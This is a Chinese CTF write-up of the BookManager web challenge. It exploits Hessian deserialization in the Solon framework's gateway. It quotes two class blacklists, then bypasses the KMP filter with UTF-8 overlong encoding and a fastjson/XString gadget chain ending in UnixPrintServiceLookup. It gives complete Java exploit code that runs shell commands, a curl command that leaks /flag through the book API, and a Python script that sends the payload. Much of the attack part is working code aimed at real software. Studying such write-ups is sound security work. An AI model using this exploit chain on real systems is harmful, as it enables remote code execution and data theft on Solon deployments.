前言
当时期末复习去了没看国赛题,回头发现一道有意思的题。
又是solon框架,想起了去年我打国赛时的心情hhh
分析
在ApiGateway
中定义了路由,大概意思就是将BookServiceImpl
这个类加入到book这个路径下,也就说访问的话就是/api/rest/book/xxx
:

那我们就可以通过/api/rest/book/getBook
,/api/rest/book/getAllBooks
等来访问路由。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package server.dso.service;
import common.BookModel; import common.BookService; import java.util.List; import org.noear.solon.annotation.Component; import org.noear.solon.annotation.Inject; import org.noear.solon.annotation.Mapping; import org.noear.solon.core.handle.Result; import server.dso.dao.BookDao;
@Component public class BookServiceImpl implements BookService { @Inject BookDao bookDao;
public BookServiceImpl() { }
@Mapping("/getBook") public Result<BookModel> getBook(String name) { BookModel book = this.bookDao.getBookByTitle(name); return book == null ? Result.failure("未找到该书籍") : Result.succeed(book); }
@Mapping("/getAllBooks") public Result<List<BookModel>> getAllBooks() { List<BookModel> books = this.bookDao.getAllBooks(); return Result.succeed(books); }
@Mapping("/getBookById") public Result<BookModel> getBookById(long bookId) { BookModel book = this.bookDao.getBookById(bookId); return book == null ? Result.failure("未找到该书籍") : Result.succeed(book); }
@Mapping("/addBook") public Result<String> addBook(BookModel book) { boolean isAdded = this.bookDao.addBook(book); return isAdded ? Result.succeed("图书添加成功") : Result.failure("图书添加失败"); } }
|
漏洞点在solon框架github页的issue处:https://github.com/opensolon/solon/issues/73/
当使用框架的GateWay,并且引入官方依赖solon.serialization.hessian
时,如果请求的api
带有参数,请求包的body
部分会用hessian
进行反序列化, 从而导致远程命令执行。
这里需要改一下Content-Type,形如:
1 2 3 4 5 6
| POST /api/rest/book/addBook HTTP/1.1 Content-Type: application/hessian Host: 127.0.0.1:8080
xxxxxx
|
发包可以看到会将body
的内容进行hessian2
反序列化操作:
1
| org.noear.solon.serialization.hessian/HessianActionExecutor.java
|

调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| changeBody:177, HessianActionExecutor (org.noear.solon.serialization.hessian) buildArgs:61, ActionExecuteHandlerDefault (org.noear.solon.core.handle) executeHandle:47, ActionExecuteHandlerDefault (org.noear.solon.core.handle) executeDo:329, Action (org.noear.solon.core.handle) invoke0:268, Action (org.noear.solon.core.handle) invoke:215, Action (org.noear.solon.core.handle) handle0:224, Gateway (org.noear.solon.core.handle) doFilter:206, Gateway (org.noear.solon.core.handle) doFilter:-1, 521960438 (org.noear.solon.core.handle.Gateway$$Lambda$64) doFilter:24, FilterChainImpl (org.noear.solon.core.handle) handle:167, Gateway (org.noear.solon.core.handle) handleMain:33, RouterHandler (org.noear.solon.core.route) handleDo:64, RouterHandler (org.noear.solon.core.route) doIntercept:24, RouterHandler (org.noear.solon.core.route) doIntercept:47, RouterInterceptorLimiter (org.noear.solon.core.route) doIntercept:27, RouterInterceptorChainImpl (org.noear.solon.core.route) doIntercept:97, ChainManager (org.noear.solon.core) handle:93, RouterHandler (org.noear.solon.core.route) handle:41, HandlerPipeline (org.noear.solon.core.handle) doFilter:473, SolonApp (org.noear.solon) doFilter:-1, 1018937824 (org.noear.solon.SolonApp$$Lambda$15) doFilter:24, FilterChainImpl (org.noear.solon.core.handle) doFilter:49, ChainManager (org.noear.solon.core) tryHandle:419, SolonApp (org.noear.solon) handle:-1, 1506809545 (org.noear.solon.boot.jlhttp.XPluginImp$$Lambda$76) handleDo:42, JlHttpContextHandler (org.noear.solon.boot.jlhttp) serve:22, JlHttpContextHandler (org.noear.solon.boot.jlhttp) serve:2253, HTTPServer (org.noear.solon.boot.jlhttp) handleMethod:2215, HTTPServer (org.noear.solon.boot.jlhttp) handleTransaction:2154, HTTPServer (org.noear.solon.boot.jlhttp) handleConnection:2114, HTTPServer (org.noear.solon.boot.jlhttp) execute:1895, HTTPServer$SocketHandlerThread (org.noear.solon.boot.jlhttp) lambda$run$0:1867, HTTPServer$SocketHandlerThread (org.noear.solon.boot.jlhttp) run:-1, 571100326 (org.noear.solon.boot.jlhttp.HTTPServer$SocketHandlerThread$$Lambda$83) runWorker:1142, ThreadPoolExecutor (java.util.concurrent) run:617, ThreadPoolExecutor$Worker (java.util.concurrent) run:745, Thread (java.lang)
|
但是查看源码会发现readObject之前有个判断,不难看出是KMP算法的字符串匹配,也就是弄了个blacklist的过滤:

testCases
内容简单转换一下,可得到黑名单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116
| bsh. ch.qos.logback.core.db. clojure. com.alibaba.citrus.springext.support.parser. com.alibaba.citrus.springext.util.SpringExtUtil. com.alibaba.druid.pool. com.alibaba.hotcode.internal.org.apache.commons.collections.functors. com.alipay.custrelation.service.model.redress. com.alipay.oceanbase.obproxy.druid.pool. com.caucho.config.types. com.caucho.hessian.test. com.caucho.naming. com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller. com.ibm.xltxe.rnm1.xtq.bcel.util. com.mchange.v2.c3p0. com.mysql.jdbc.util. com.rometools.rome.feed. com.sun.corba.se.impl. com.sun.corba.se.spi.orbutil. com.sun.jndi.ldap com.sun.jndi.rmi. com.sun.jndi.toolkit. com.sun.org.apache.bcel.internal. com.sun.org.apache.xalan.internal. com.sun.rowset. com.sun.xml.internal.bind.v2. com.taobao.vipserver.commons.collections.functors. groovy.lang. java.awt. java.beans. java.lang.ProcessBuilder java.lang.Runtime java.rmi.server. java.security. java.util.ServiceLoader java.util.StringTokenizer javassist.bytecode.annotation. javassist.tools.web.Viewer javassist.util.proxy. javax.imageio. javax.imageio.spi. javax.management. javax.media.jai.remote. javax.naming. javax.script. javax.sound.sampled. javax.swing. javax.xml.transform. net.bytebuddy.dynamic.loading. oracle.jdbc.connector. oracle.jdbc.pool. org.apache.aries.transaction.jms. org.apache.bcel.util. org.apache.carbondata.core.scan.expression. org.apache.commons.beanutils. org.apache.commons.codec.binary. org.apache.commons.collections.functors. org.apache.commons.collections4.functors. org.apache.commons.codec. org.apache.commons.configuration. org.apache.commons.configuration2. org.apache.commons.dbcp.datasources. org.apache.commons.dbcp2.datasources. org.apache.commons.fileupload.disk. org.apache.ibatis.executor.loader. org.apache.ibatis.javassist.bytecode. org.apache.ibatis.javassist.tools. org.apache.ibatis.javassist.util. org.apache.ignite.cache. org.apache.log.output.db. org.apache.log4j.receivers.db. org.apache.myfaces.view.facelets.el. org.apache.openjpa.ee. org.apache.shiro. org.apache.tomcat.dbcp. org.apache.velocity.runtime. org.apache.velocity. org.apache.wicket.util. org.apache.xalan.xsltc.trax. org.apache.xbean.naming.context. org.apache.xpath. org.apache.zookeeper. org.aspectj. org.codehaus.groovy.runtime. org.datanucleus.store.rdbms.datasource.dbcp.datasources. org.dom4j. org.eclipse.jetty.util.log. org.geotools.filter. org.h2.value. org.hibernate.tuple.component. org.hibernate.type. org.jboss.ejb3. org.jboss.proxy.ejb. org.jboss.resteasy.plugins.server.resourcefactory. org.jboss.weld.interceptor.builder. org.junit. org.mockito.internal.creation.cglib. org.mortbay.log. org.mockito. org.thymeleaf. org.quartz. org.springframework.aop.aspectj. org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler org.springframework.beans.factory. org.springframework.expression.spel. org.springframework.jndi. org.springframework.orm. org.springframework.transaction. org.yaml.snakeyaml.tokens. ognl. pstore.shaded.org.apache.commons.collections. sun.print. sun.rmi.server. sun.rmi.transport. weblogic.ejb20.internal. weblogic.jms.common.
|
看起来唬人,给你ban得差不多了,但是就是因为他使用的KMP算法匹配,可以使用UTF-8-Overlong-Encoding绕过。(X1哥还是太强了)
但是直接利用还是失败了,调试一下会发现还有个黑名单的限制:

这个存在于hessian-lite中的ClassFactory
里:

转换一下,我们能得到黑名单2:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109
| bsh. ch.qos.logback.core.db. clojure. com.alibaba.citrus.springext.support.parser. com.alibaba.citrus.springext.util.SpringExtUtil. com.alibaba.druid.pool. com.alibaba.hotcode.internal.org.apache.commons.collections.functors. com.alipay.custrelation.service.model.redress. com.alipay.oceanbase.obproxy.druid.pool. com.caucho.config.types. com.caucho.hessian.test. com.caucho.naming. com.ibm.jtc.jax.xml.bind.v2.runtime.unmarshaller. com.ibm.xltxe.rnm1.xtq.bcel.util. com.mchange.v2.c3p0. com.mysql.jdbc.util. com.rometools.rome.feed. com.sun.corba.se.impl. com.sun.corba.se.spi.orbutil. com.sun.jndi.rmi. com.sun.jndi.toolkit. com.sun.org.apache.bcel.internal. com.sun.org.apache.xalan.internal. com.sun.rowset. com.sun.xml.internal.bind.v2. com.taobao.vipserver.commons.collections.functors. groovy.lang. java.awt. java.beans. java.lang.ProcessBuilder java.lang.Runtime java.rmi.server. java.security. java.util.ServiceLoader java.util.StringTokenizer javassist.bytecode.annotation. javassist.tools.web.Viewer javassist.util.proxy. javax.imageio. javax.imageio.spi. javax.management. javax.media.jai.remote. javax.naming. javax.script. javax.sound.sampled. javax.swing. javax.xml.transform. net.bytebuddy.dynamic.loading. oracle.jdbc.connector. oracle.jdbc.pool. org.apache.aries.transaction.jms. org.apache.bcel.util. org.apache.carbondata.core.scan.expression. org.apache.commons.beanutils. org.apache.commons.codec.binary. org.apache.commons.collections.functors. org.apache.commons.collections4.functors. org.apache.commons.configuration. org.apache.commons.configuration2. org.apache.commons.dbcp.datasources. org.apache.commons.dbcp2.datasources. org.apache.commons.fileupload.disk. org.apache.ibatis.executor.loader. org.apache.ibatis.javassist.bytecode. org.apache.ibatis.javassist.tools. org.apache.ibatis.javassist.util. org.apache.ignite.cache. org.apache.log.output.db. org.apache.log4j.receivers.db. org.apache.myfaces.view.facelets.el. org.apache.openjpa.ee. org.apache.openjpa.ee. org.apache.shiro. org.apache.tomcat.dbcp. org.apache.velocity.runtime. org.apache.velocity. org.apache.wicket.util. org.apache.xalan.xsltc.trax. org.apache.xbean.naming.context. org.apache.xpath. org.apache.zookeeper. org.aspectj.apache.bcel.util. org.codehaus.groovy.runtime. org.datanucleus.store.rdbms.datasource.dbcp.datasources. org.eclipse.jetty.util.log. org.geotools.filter. org.h2.value. org.hibernate.tuple.component. org.hibernate.type. org.jboss.ejb3. org.jboss.proxy.ejb. org.jboss.resteasy.plugins.server.resourcefactory. org.jboss.weld.interceptor.builder. org.mockito.internal.creation.cglib. org.mortbay.log. org.quartz. org.springframework.aop.aspectj. org.springframework.beans.BeanWrapperImpl$BeanPropertyHandler org.springframework.beans.factory. org.springframework.expression.spel. org.springframework.jndi. org.springframework.orm. org.springframework.transaction. org.yaml.snakeyaml.tokens. pstore.shaded.org.apache.commons.collections. sun.rmi.server. sun.rmi.transport. weblogic.ejb20.internal. weblogic.jms.common.
|
对比一下,会发现有个不同的东西,黑名单1有,黑名单2却没有:
这就是本题的核心绕过点。
EXP
jar包给了fj依赖,下面我贴出的博客中大佬挖出了个solon的链子,中间有个就是
1
| sun.print.UnixPrintServiceLookup
|
但是美中不足的是这个必须Unix类操作系统才有,也就是我Windows没法直接调,会显示没这个包。
Linux和Mac的java环境应该能直接调出来。
众所周知fj的JSONObject#toString
能触发任意getter,我们使用它去调用UnixPrintServiceLookup#getDefaultPrintService
,如此链子便拉通了。
我们从最原始和经典的fj链入手:
1 2 3 4 5 6 7 8
| ObjectInputStream.readObject -> HashMap.readObject -> BadAttributeValueExpException.readObject -> JSONArray.toString -> JSON.toString (JSONArray extends JSON)-> JSON.toJSONString -> TemplatesImpl.getOutputProperties -> TemplatesImpl.newTransformer
|
但是由于存在黑名单,因此需要进行绕过以下两个类:
1 2
| javax.management.BadAttributeValueExpException com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
|
对于 BadAttributeValueExpException
,其作用为 from readObject to toStringBean.toString
,可以找到未被 blacklist 的 XString.equals
来替换,而最后的 sink 可以使用 UnixPrintServiceLookup
替换,最终的调用链为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| getDefaultPrintService:640, UnixPrintServiceLookup (sun.print) write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer) write:271, MapSerializer (com.alibaba.fastjson.serializer) write:44, MapSerializer (com.alibaba.fastjson.serializer) write:312, JSONSerializer (com.alibaba.fastjson.serializer) toJSONString:1077, JSON (com.alibaba.fastjson) toString:1071, JSON (com.alibaba.fastjson) equals:391, XString (com.sun.org.apache.xpath.internal.objects) equals:495, AbstractMap (java.util) putVal:636, HashMap (java.util) put:613, HashMap (java.util) doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io) readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io) readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io) readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io) main:166, Main (org.example)
|
Linux下调,确实能通:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91
| package org.example; import com.alibaba.fastjson.JSONObject; import com.alibaba.com.caucho.hessian.io.Hessian2Input; import com.alibaba.com.caucho.hessian.io.Hessian2Output; import com.alibaba.com.caucho.hessian.io.SerializerFactory; import com.sun.org.apache.xpath.internal.objects.XString; import sun.misc.Unsafe; import sun.print.UnixPrintServiceLookup;
import java.io.*; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap;
public class XStringtoGetterExp { public static void setFieldValue(Object obj, String filedName, Object value) throws NoSuchFieldException, IllegalAccessException { Field declaredField = obj.getClass().getDeclaredField(filedName); declaredField.setAccessible(true); declaredField.set(obj, value); }
public static void main(String[] args) { try { String cmd = "touch /tmp/success_eddie"; Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe"); theUnsafe.setAccessible(true); Unsafe unsafe = (Unsafe) theUnsafe.get(null); Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class); setFieldValue(unixPrintServiceLookup, "cmdIndex", 0); setFieldValue(unixPrintServiceLookup, "osname", "xx"); setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd}); JSONObject jsonObject = new JSONObject(); jsonObject.put("xx", unixPrintServiceLookup);
XString xString = new XString("xx"); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy", jsonObject); map1.put("zZ", xString); map2.put("yy", xString); map2.put("zZ", jsonObject);
HashMap s = new HashMap(); setFieldValue(s, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null)); setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); Hessian2OutputWithOverlongEncoding hessianOutput = new Hessian2OutputWithOverlongEncoding(byteArrayOutputStream); hessianOutput.setSerializerFactory(new SerializerFactory()); hessianOutput.getSerializerFactory().setAllowNonSerializable(true); hessianOutput.writeObject(s); hessianOutput.flushBuffer(); System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray())); des(byteArrayOutputStream.toByteArray()); } catch (Exception e) { e.printStackTrace(); } } public static Object des(byte[] bytes) throws IOException { ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); Hessian2Input hessianInput = new Hessian2Input(byteArrayInputStream); System.out.println("\nDeserialization of object."); try { return hessianInput.readObject(); } catch (EOFException e) { throw new IOException("Unexpected end of file while reading object", e); } } }
|

当然这是出网打法,而比赛时那道题据说不出网,按道理来说应该是curl将根目录的flag给映射到book页面:
1
| String cmd = "curl -X POST http://127.0.0.1:8080/api/rest/book/addBook -H \"Content-Type: application/json\" -d '{\"bookId\": 1, \"title\": \"'$(cat /flag)'\", \"author\": \"'EddieMurphy'\", \"publishDate\": \"2025-01-01\", \"price\": 13.14}'";
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import re import requests
with open("ser.bin", "rb") as f: body = f.read()
print(len(body))
url = "http://localhost:8080/api/rest/book/getBook" headers = { "Content-Type": "application/hessian" } response = requests.get(url, headers=headers, data=body) print(response.text)
url = "http://localhost:8080/api/rest/book/getAllBooks" response = requests.get(url) match = re.search(r'flag\{[^\}]+\}', response.text) print(match.group(0) if match else "Flag not found")
|
也可以打内存马(但是没时间看了hhh)。
高手过招,点到为止吧。
参考:
jdk8u-jdk/src/solaris/classes/sun/print/UnixPrintService.java at master · frohoff/jdk8u-jdk
第十八届国赛暨第二届长城杯-bookmanager题解 | P0l@R19ht
Hessian UTF-8 Overlong Encoding - X1r0z Blog
国产web框架Solon - FreeBuf网络安全行业门户
国产web框架Solon-v2.5.11RCE漏洞
文章 - 2024 CISCN & 第二届长城杯铁人三项赛 0解Web BookManager 题解 - 先知社区